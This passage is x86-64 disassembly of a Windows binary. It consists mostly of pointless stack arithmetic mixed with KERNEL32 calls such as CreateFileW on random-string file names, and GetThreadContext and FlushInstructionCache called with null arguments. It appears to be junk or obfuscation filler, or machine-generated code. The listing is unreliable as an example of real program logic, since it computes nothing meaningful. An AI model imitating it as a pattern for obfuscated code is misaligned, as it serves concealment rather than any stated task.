mov dword [rsp + 0xa830], eax
mov rax, qword [rsp + 0x1a5f0]
mov ecx, dword [rsp + 0x9678]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa224], eax
lea rcx, [rsp + 0x1a208]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x1a1c8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd29c], eax
mov rax, qword [rsp + 0x1a3c0]
mov eax, dword [rax]
mov dword [rsp + 0xd99c], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd370]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8068]
mov ecx, dword [rsp + 0xd2c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fe0], eax
movzx eax, word [0x1402ad810]
movzx ecx, word [rsp + 0x2a4c]
and eax, ecx
mov word [rsp + 0x3888], ax
movzx eax, byte [rsp + 0x80f]
movzx ecx, byte [rsp + 0x7a1]
imul eax, ecx
mov byte [0x1402acb76], al
mov eax, dword [0x1402ad7d4]
mov ecx, dword [rsp + 0xd518]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6f8], eax
mov eax, dword [rsp + 0xa730]
mov dword [rsp + 0xd9a0], eax
mov rax, qword [rsp + 0x1a328]
mov ecx, dword [rsp + 0xd3fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd568], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd9a4], eax
mov eax, dword [rsp + 0xd8b8]
mov dword [rsp + 0xd9a8], eax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x822]
add eax, ecx
mov byte [rsp + 0x80a], al
movzx eax, word [rsp + 0x3734]
movzx ecx, word [rsp + 0x367c]
add eax, ecx
mov word [rsp + 0x238c], ax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [0x1402bf630]
sub eax, ecx
mov word [rsp + 0x3290], ax
movsx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x19ee0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a220]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a578]
mov ecx, dword [rsp + 0xb6d4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf650], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov dword [rsp + 0xd9ac], eax
mov rax, qword [rsp + 0x1a4c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3858], ax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x86e], al
mov rax, qword [rsp + 0x1a580]
mov eax, dword [rax]
mov rcx, qword [0x1402bf768]
mov qword [rsp + 0x1a7f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a7f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd66c], eax
mov eax, dword [rsp + 0xd62c]
mov rcx, qword [rsp + 0x19f00]
mov qword [rsp + 0x1a7f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a7f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcf14], eax
mov eax, dword [rsp + 0xd380]
mov dword [rsp + 0xd9b0], eax
mov rax, qword [rsp + 0x19cf8]
mov ecx, dword [rsp + 0xa670]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd1a4], eax
mov rax, qword [rsp + 0x1a688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fd8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x68d], al
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a240]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402ad858], ax
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa234]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ed0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a2f0]
mov rcx, qword [rsp + 0x19e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf5c], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov dword [rsp + 0xd9b4], eax
mov rax, qword [rsp + 0x1a630]
mov rcx, qword [rsp + 0x19a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8de8], eax
mov eax, dword [rsp + 0xcec0]
mov dword [rsp + 0xd9b8], eax
mov rax, qword [0x1402bf4b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x852]
and eax, ecx
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a340]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3a04]
add eax, ecx
mov word [rsp + 0x39fc], ax
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [rsp + 0x39d4]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b64], ax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7ce]
add eax, ecx
mov byte [0x1402acc33], al
mov rax, qword [rsp + 0x1a720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd50c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8100], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov dword [rsp + 0xd9bc], eax
movzx ecx, word [rsp + 0x3a10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b0], ax
movzx eax, byte [rsp + 0x7fd]
movzx ecx, byte [rsp + 0x851]
sub eax, ecx
mov byte [rsp + 0x81f], al
mov rax, qword [rsp + 0x1a7b8]
movzx eax, word [rax]
mov word [rsp + 0x3a44], ax
mov rax, qword [rsp + 0x19f50]
mov ecx, dword [rsp + 0x7fe0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xadbc], eax
mov eax, dword [rsp + 0xd624]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x1a800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a800]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd50c], eax
lea rax, [rsp + 0xd678]
mov qword [rsp + 0x1a808], rax
mov eax, dword [rsp + 0x9f18]
mov rcx, qword [0x1402bf648]
mov qword [rsp + 0x1a810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a810]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd960], eax
movzx eax, byte [rsp + 0x468]
movzx ecx, byte [rsp + 0x7cf]
or eax, ecx
mov byte [0x1402bf6b0], al
mov rax, qword [rsp + 0x1a5a0]
movzx eax, word [rax]
mov rcx, qword [0x1402bf668]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2524], ax
mov rax, qword [rsp + 0x19f00]
mov rcx, qword [rsp + 0x19b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a578]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd9c0], eax
mov rax, qword [rsp + 0x1a678]
mov rcx, qword [rsp + 0x1a5b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd5fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rcx, qword [rsp + 0x198b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd934], eax
lea rax, [0x1402ad7f0]
mov qword [rsp + 0x1a818], rax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov byte [rsp + 0x83c], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov word [rsp + 0x3a48], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [rsp + 0x843]
movzx ecx, byte [0x1402acc2b]
sub eax, ecx
mov rcx, qword [rsp + 0x19b78]
mov byte [rcx], al
mov rax, qword [rsp + 0x19e50]
mov rcx, qword [rsp + 0x19d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd75c], eax
mov eax, dword [0x1402bf560]
mov ecx, dword [rsp + 0xa304]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf508], eax
mov eax, dword [rsp + 0xd05c]
mov dword [rsp + 0xd9c4], eax
mov eax, dword [rsp + 0xd354]
mov ecx, dword [rsp + 0xb024]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc38], eax
mov rax, qword [0x1402bf5f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9714]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8614], eax
mov rax, qword [rsp + 0x1a688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19d90]
mov byte [rcx], al
movzx eax, word [rsp + 0x3a28]
movzx ecx, word [rsp + 0x1874]
sub eax, ecx
mov word [rsp + 0x3854], ax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov dword [rsp + 0xd9c8], eax
mov rax, qword [rsp + 0x1a570]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd100]
shl eax, cl
mov dword [rsp + 0xcf70], eax
mov eax, dword [rsp + 0xd1fc]
mov dword [rsp + 0xd9cc], eax
lea rax, [rsp + 0xc538]
mov qword [0x1402bf4b0], rax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x805], al
lea rax, [rsp + 0x2e88]
mov qword [rsp + 0x1a820], rax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a5f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1a470]
mov word [rcx], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7b0], al
mov rax, qword [rsp + 0x1a380]
mov ecx, dword [rsp + 0xd02c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b50], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.Jkw3hiU1r5hzQF5QLK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a828], rax
mov rax, qword [rsp + 0x1a080]
mov ecx, dword [rsp + 0xd170]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd134], eax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
mov byte [rsp + 0x86f], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x37a4], ax
mov rax, qword [rsp + 0x1a458]
mov eax, dword [rax]
mov dword [0x1402bf4a8], eax
mov eax, dword [rsp + 0xd628]
mov ecx, dword [rsp + 0xd1ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa24], eax
mov rax, qword [rsp + 0x19ef8]
mov eax, dword [rax]
mov dword [rsp + 0xd9d0], eax
mov eax, dword [rsp + 0xcf20]
mov ecx, dword [rsp + 0xd7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a578]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7e9]
mov byte [rsp + 0x870], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3840]
sub eax, ecx
mov word [rsp + 0x36b8], ax
mov eax, dword [rsp + 0xd310]
mov ecx, dword [rsp + 0xd410]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd7fc], eax
mov rax, qword [rsp + 0x1a2f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9124], eax
mov eax, dword [rsp + 0xce80]
mov ecx, dword [rsp + 0xd4d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd634], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x1a260]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad71c], eax
lea rax, [rsp + 0x93c4]
mov qword [rsp + 0x1a830], rax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
mov rcx, qword [0x1402bf708]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3620], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd0b0], eax
movzx eax, byte [rsp + 0x828]
mov byte [rsp + 0x871], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movzx eax, byte [rsp + 0x813]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
movzx ecx, word [0x1402ad7e4]
cdq
idiv ecx
mov rcx, qword [rsp + 0x19848]
mov word [rcx], ax
mov eax, dword [rsp + 0xd3f4]
mov dword [rsp + 0xd9d4], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a328]
mov qword [rsp + 0x1a838], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a838]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x818]
or eax, ecx
mov byte [rsp + 0x190], al
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad674], ax
mov rax, qword [rsp + 0x1a1b8]
mov rcx, qword [rsp + 0x19f58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa404], eax
mov rax, qword [rsp + 0x19e80]
mov ecx, dword [rsp + 0xb5dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0a0], eax
mov eax, dword [rsp + 0xd45c]
mov dword [rsp + 0xd9d8], eax
mov rax, qword [rsp + 0x1a1b8]
mov rcx, qword [rsp + 0x1a5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc400], eax
lea rax, [rsp + 0x844]
mov qword [rsp + 0x1a840], rax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3618], ax
mov rax, qword [rsp + 0x1a6d8]
mov rcx, qword [0x1402bf5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd94], eax
mov rax, qword [rsp + 0x1a6f0]
mov eax, dword [rax]
mov dword [rsp + 0xd9dc], eax
lea rax, [rsp + 0x7c5]
mov qword [0x1402bf4a0], rax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a540]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x326c], ax
mov rcx, qword [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd304], eax
lea rax, [0x1402bf6a4]
mov qword [rsp + 0x1a848], rax
movzx eax, byte [rsp + 0x7de]
mov rcx, qword [rsp + 0x19fa0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x3be], al
mov rax, qword [rsp + 0x1a3a0]
mov ecx, dword [0x1402ad73c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcff4], eax
mov rax, qword [rsp + 0x1a368]
mov ecx, dword [rsp + 0xce04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb3b0], eax
mov rax, qword [rsp + 0x1a780]
mov rcx, qword [rsp + 0x19d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd5b0], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xd9e0], eax
mov eax, dword [rsp + 0xd134]
mov rcx, qword [rsp + 0x1a6d8]
mov qword [rsp + 0x1a850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a850]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xce58], eax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
mov byte [rsp + 0x872], al
mov rax, qword [rsp + 0x1a7c0]
movzx eax, word [rax]
mov rcx, qword [0x1402bf688]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402ad85c], ax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a168]
mov qword [rsp + 0x1a858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a858]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd900], eax
mov rax, qword [rsp + 0x19c48]
mov rcx, qword [rsp + 0x19e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xce30]
mov ecx, dword [rsp + 0xab2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb0c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.lGzqxLquSEAm7RElBRvF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a860], rax
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x1a250]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa234], eax
lea rax, [0x1402bf720]
mov qword [rsp + 0x1a868], rax
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a7b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x371c]
sub eax, ecx
mov word [rsp + 0x31a4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [0x1402acba2]
mov qword [rsp + 0x1a870], rax
mov eax, dword [rsp + 0xd34c]
mov ecx, dword [rsp + 0xd668]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad70c], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x951c], eax
lea rax, [rsp + 0x830]
mov qword [rsp + 0x1a878], rax
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3568], ax
mov rax, qword [rsp + 0x1a5e0]
mov ecx, dword [rsp + 0xcf10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd378], eax
mov eax, dword [rsp + 0xd060]
mov dword [rsp + 0xd9e4], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb818]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0e0], eax
lea rdx, [rsp + 0x1a880]
mov rcx, qword [rsp + 0x1a1c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd77c], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov dword [rsp + 0xd9e8], eax
movzx eax, word [0x1402bf4f0]
mov rcx, qword [rsp + 0x1a1c0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3750], ax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60a]
or eax, ecx
mov byte [0x1402acc3a], al
lea rax, [rsp + 0xd0e4]
mov qword [rsp + 0x1a888], rax
mov rax, qword [rsp + 0x1a3d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c48]
mov qword [rsp + 0x1a890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a890]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcfa8], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3bc], eax
mov eax, dword [rsp + 0xd6e0]
mov dword [rsp + 0xd9ec], eax
mov rax, qword [rsp + 0x1a580]
mov eax, dword [rax]
mov rcx, qword [0x1402bf5f0]
mov qword [rsp + 0x1a898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a898]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd264], eax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x502]
add eax, ecx
mov byte [rsp + 0x2a5], al
movsx eax, word [rsp + 0x326c]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3a3c], ax
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19f38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3734], ax
movzx eax, byte [rsp + 0x44f]
mov rcx, qword [0x1402bf548]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [str.yR__], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd880], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov dword [rsp + 0xd9f0], eax
mov eax, dword [rsp + 0xd39c]
mov ecx, dword [rsp + 0xd330]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd28c], eax
mov rax, qword [rsp + 0x1a2b8]
movzx eax, word [rax]
mov word [rsp + 0x3a4c], ax
mov rax, qword [0x1402bf500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82a]
add eax, ecx
mov rcx, qword [rsp + 0x1a878]
mov byte [rcx], al
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd208]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xba78], eax
mov rax, qword [rsp + 0x1a000]
mov ecx, dword [rsp + 0xd190]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c50], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
mov dword [rsp + 0xd9f4], eax
movzx eax, byte [rsp + 0x868]
mov byte [0x1402bf49d], al
movzx eax, word [rsp + 0x1b88]
movzx ecx, word [rsp + 0x35f8]
sub eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x19e88]
mov rcx, qword [rsp + 0x1a608]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce90], eax
movzx ecx, word [rsp + 0x3894]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35c8], ax
mov rax, qword [rsp + 0x1a0e8]
mov eax, dword [rax]
mov dword [rsp + 0xd9f8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd84], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.w13iesZLVunkVk5jbcYF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a8a0], rax
movsx eax, word [0x1402ad6e4]
movsx ecx, word [rsp + 0x395c]
sub eax, ecx
mov word [rsp + 0x3754], ax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x116]
sar eax, cl
mov byte [rsp + 0x5fc], al
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a14]
shl eax, cl
mov word [rsp + 0x284c], ax
movzx eax, byte [rsp + 0x846]
mov byte [rsp + 0x873], al
mov eax, dword [rsp + 0xd4a4]
mov ecx, dword [rsp + 0xd1b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd944], eax
mov rax, qword [0x1402bf5a8]
mov rcx, qword [rsp + 0x19e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402ad860], eax
mov rax, qword [rsp + 0x1a0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99ac], eax
mov eax, dword [rsp + 0xd12c]
mov dword [rsp + 0xd9fc], eax
mov rax, qword [0x1402bf718]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc278], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39a0]
sub eax, ecx
mov word [rsp + 0x1e00], ax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0xd2e4]
mov ecx, dword [rsp + 0xbd84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcea8], eax
mov rax, qword [rsp + 0x1a368]
mov eax, dword [rax]
mov dword [rsp + 0xda00], eax
mov rax, qword [rsp + 0x1a760]
mov ecx, dword [rsp + 0xd774]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd818], eax
mov rax, qword [rsp + 0x1a830]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd150]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf628]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3680]
mov word [rsp + 0x3a50], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x816]
add eax, ecx
mov rcx, qword [rsp + 0x1a0b0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x7ba]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37b], al
movzx ecx, word [rsp + 0x3938]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d4], ax
lea rax, [rsp + 0x35a4]
mov qword [rsp + 0x1a8a8], rax
mov rax, qword [rsp + 0x1a608]
mov eax, dword [rax]
mov rcx, qword [0x1402bf5d0]
mov qword [rsp + 0x1a8b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a8b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd460], eax
mov rax, qword [rsp + 0x19a18]
mov rcx, qword [rsp + 0x1a260]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xc22c], eax
mov rax, qword [rsp + 0x1a650]
movzx eax, word [rax]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x37ac], ax
lea rdx, [rsp + 0x1a8b8]
mov rcx, qword [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd4dc], eax
mov rax, qword [rsp + 0x1a198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8d]
cdq
idiv ecx
mov byte [rsp + 0x451], al
mov eax, dword [rsp + 0xd3c4]
mov rcx, qword [rsp + 0x1a3a8]
mov qword [rsp + 0x1a8c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a8c0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad864], eax
mov eax, dword [rsp + 0xb710]
mov dword [rsp + 0xda04], eax
mov rax, qword [rsp + 0x19f20]
mov ecx, dword [rsp + 0xbd84]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xba60], eax
mov r9d, 2
lea r8, [rsp + 0x198d0]
mov rdx, qword [rsp + 0x19738]
mov rcx, qword [rsp + 0x1a360]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd644], eax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov dword [rsp + 0xda08], eax
movzx eax, word [rsp + 0x3634]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3734], ax
mov rax, qword [rsp + 0x1a878]
movzx eax, byte [rax]
